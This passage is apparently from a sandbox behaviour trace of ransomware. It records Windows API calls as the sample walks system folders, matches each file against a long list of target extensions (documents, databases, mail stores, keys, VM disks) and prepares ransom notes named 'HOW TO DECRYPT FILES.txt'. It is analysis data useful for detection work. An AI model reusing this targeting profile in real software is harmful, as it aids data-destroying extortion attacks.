(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.djvu") returned 0 [0120.269] lstrlenA (lpString="*.djvu") returned 6 [0120.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.tiff") returned 0 [0120.269] lstrlenA (lpString="*.tiff") returned 6 [0120.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.backup") returned 0 [0120.269] lstrlenA (lpString="*.backup") returned 8 [0120.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.pdf") returned 0 [0120.269] lstrlenA (lpString="*.pdf") returned 5 [0120.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.cert") returned 0 [0120.269] lstrlenA (lpString="*.cert") returned 6 [0120.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.docm") returned 0 [0120.269] lstrlenA (lpString="*.docm") returned 6 [0120.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.xlsm") returned 0 [0120.269] lstrlenA (lpString="*.xlsm") returned 6 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.dwg") returned 0 [0120.270] lstrlenA (lpString="*.dwg") returned 5 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.nd") returned 0 [0120.270] lstrlenA (lpString="*.nd") returned 4 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.tlg") returned 0 [0120.270] lstrlenA (lpString="*.tlg") returned 5 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.lgb") returned 0 [0120.270] lstrlenA (lpString="*.lgb") returned 5 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mov") returned 0 [0120.270] lstrlenA (lpString="*.mov") returned 5 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.xdw") returned 0 [0120.270] lstrlenA (lpString="*.xdw") returned 5 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.ods") returned 0 [0120.270] lstrlenA (lpString="*.ods") returned 5 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.wav") returned 0 [0120.270] lstrlenA (lpString="*.wav") returned 5 [0120.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.mp3") returned 0 [0120.270] lstrlenA (lpString="*.mp3") returned 5 [0120.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.aiff") returned 0 [0120.271] lstrlenA (lpString="*.aiff") returned 6 [0120.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.flac") returned 0 [0120.271] lstrlenA (lpString="*.flac") returned 6 [0120.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.m4a") returned 0 [0120.271] lstrlenA (lpString="*.m4a") returned 5 [0120.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll", pszSpec="*.csv") returned 0 [0120.271] lstrlenA (lpString="*.csv") returned 5 [0120.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x590, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Messaging.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.271] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.271] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Messaging.ni.dll.aux") returned -1 [0120.271] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Messaging.ni.dll.aux") returned -1 [0120.271] lstrcmpiA (lpString1="", lpString2="System.Messaging.ni.dll.aux") returned -1 [0120.271] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll") returned="System.Messaging.ni.dll" [0120.272] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\" [0120.272] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\") returned="" [0120.272] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\HOW TO DECRYPT FILES.txt" [0120.272] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.messaging\\fff467288233cc4e7abba8e266199106\\how to decrypt files.txt")) returned 0x20 [0120.272] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\", lpString2="System.Messaging.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux" [0120.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.272] lstrlenA (lpString="*.ems") returned 5 [0120.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.db") returned 0 [0120.272] lstrlenA (lpString="*.db") returned 4 [0120.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.dbf") returned 0 [0120.272] lstrlenA (lpString="*.dbf") returned 5 [0120.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.myox") returned 0 [0120.273] lstrlenA (lpString="*.myox") returned 6 [0120.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.myo") returned 0 [0120.273] lstrlenA (lpString="*.myo") returned 5 [0120.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qbw") returned 0 [0120.273] lstrlenA (lpString="*.qbw") returned 5 [0120.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qbb") returned 0 [0120.273] lstrlenA (lpString="*.qbb") returned 5 [0120.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qbm") returned 0 [0120.273] lstrlenA (lpString="*.qbm") returned 5 [0120.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qbo") returned 0 [0120.273] lstrlenA (lpString="*.qbo") returned 5 [0120.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qbx") returned 0 [0120.273] lstrlenA (lpString="*.qbx") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qba") returned 0 [0120.274] lstrlenA (lpString="*.qba") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qby") returned 0 [0120.274] lstrlenA (lpString="*.qby") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qbj") returned 0 [0120.274] lstrlenA (lpString="*.qbj") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.ofx") returned 0 [0120.274] lstrlenA (lpString="*.ofx") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.qif") returned 0 [0120.274] lstrlenA (lpString="*.qif") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mye") returned 0 [0120.274] lstrlenA (lpString="*.mye") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mbox") returned 0 [0120.274] lstrlenA (lpString="*.mbox") returned 6 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.eml") returned 0 [0120.274] lstrlenA (lpString="*.eml") returned 5 [0120.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.pst") returned 0 [0120.275] lstrlenA (lpString="*.pst") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.ost") returned 0 [0120.275] lstrlenA (lpString="*.ost") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.idx") returned 0 [0120.275] lstrlenA (lpString="*.idx") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.dbx") returned 0 [0120.275] lstrlenA (lpString="*.dbx") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.sql") returned 0 [0120.275] lstrlenA (lpString="*.sql") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mdb") returned 0 [0120.275] lstrlenA (lpString="*.mdb") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.fdb") returned 0 [0120.275] lstrlenA (lpString="*.fdb") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.wab") returned 0 [0120.275] lstrlenA (lpString="*.wab") returned 5 [0120.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.dat") returned 0 [0120.276] lstrlenA (lpString="*.dat") returned 5 [0120.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.txt") returned 0 [0120.276] lstrlenA (lpString="*.txt") returned 5 [0120.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0120.276] lstrlenA (lpString="*.jpeg") returned 6 [0120.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.jpg") returned 0 [0120.276] lstrlenA (lpString="*.jpg") returned 5 [0120.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.png") returned 0 [0120.276] lstrlenA (lpString="*.png") returned 5 [0120.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.php") returned 0 [0120.276] lstrlenA (lpString="*.php") returned 5 [0120.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.cs") returned 0 [0120.276] lstrlenA (lpString="*.cs") returned 4 [0120.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.cpp") returned 0 [0120.276] lstrlenA (lpString="*.cpp") returned 5 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.rar") returned 0 [0120.277] lstrlenA (lpString="*.rar") returned 5 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.zip") returned 0 [0120.277] lstrlenA (lpString="*.zip") returned 5 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.html") returned 0 [0120.277] lstrlenA (lpString="*.html") returned 6 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.htm") returned 0 [0120.277] lstrlenA (lpString="*.htm") returned 5 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0120.277] lstrlenA (lpString="*.xlsx") returned 6 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.xls") returned 0 [0120.277] lstrlenA (lpString="*.xls") returned 5 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mp4") returned 0 [0120.277] lstrlenA (lpString="*.mp4") returned 5 [0120.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.ppt") returned 0 [0120.278] lstrlenA (lpString="*.ppt") returned 5 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.pptx") returned 0 [0120.278] lstrlenA (lpString="*.pptx") returned 6 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.doc") returned 0 [0120.278] lstrlenA (lpString="*.doc") returned 5 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.dot") returned 0 [0120.278] lstrlenA (lpString="*.dot") returned 5 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.docx") returned 0 [0120.278] lstrlenA (lpString="*.docx") returned 6 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.7z") returned 0 [0120.278] lstrlenA (lpString="*.7z") returned 4 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.tar") returned 0 [0120.278] lstrlenA (lpString="*.tar") returned 5 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.bz2") returned 0 [0120.278] lstrlenA (lpString="*.bz2") returned 5 [0120.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.gz") returned 0 [0120.278] lstrlenA (lpString="*.gz") returned 4 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mkv") returned 0 [0120.279] lstrlenA (lpString="*.mkv") returned 5 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.eml") returned 0 [0120.279] lstrlenA (lpString="*.eml") returned 5 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.msg") returned 0 [0120.279] lstrlenA (lpString="*.msg") returned 5 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.edb") returned 0 [0120.279] lstrlenA (lpString="*.edb") returned 5 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.accdb") returned 0 [0120.279] lstrlenA (lpString="*.accdb") returned 7 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.odb") returned 0 [0120.279] lstrlenA (lpString="*.odb") returned 5 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.java") returned 0 [0120.279] lstrlenA (lpString="*.java") returned 6 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.asm") returned 0 [0120.279] lstrlenA (lpString="*.asm") returned 5 [0120.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.pfx") returned 0 [0120.279] lstrlenA (lpString="*.pfx") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.pem") returned 0 [0120.280] lstrlenA (lpString="*.pem") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.p12") returned 0 [0120.280] lstrlenA (lpString="*.p12") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.gpg") returned 0 [0120.280] lstrlenA (lpString="*.gpg") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.vsd") returned 0 [0120.280] lstrlenA (lpString="*.vsd") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.odg") returned 0 [0120.280] lstrlenA (lpString="*.odg") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.raw") returned 0 [0120.280] lstrlenA (lpString="*.raw") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.nef") returned 0 [0120.280] lstrlenA (lpString="*.nef") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.svg") returned 0 [0120.280] lstrlenA (lpString="*.svg") returned 5 [0120.280] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.psd") returned 0 [0120.281] lstrlenA (lpString="*.psd") returned 5 [0120.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.vmx") returned 0 [0120.281] lstrlenA (lpString="*.vmx") returned 5 [0120.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0120.281] lstrlenA (lpString="*.vmdk") returned 6 [0120.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.vdi") returned 0 [0120.281] lstrlenA (lpString="*.vdi") returned 5 [0120.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.lay6") returned 0 [0120.281] lstrlenA (lpString="*.lay6") returned 6 [0120.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0120.281] lstrlenA (lpString="*.mpeg") returned 6 [0120.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.djvu") returned 0 [0120.281] lstrlenA (lpString="*.djvu") returned 6 [0120.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.tiff") returned 0 [0120.281] lstrlenA (lpString="*.tiff") returned 6 [0120.282] PathMatchSpecA 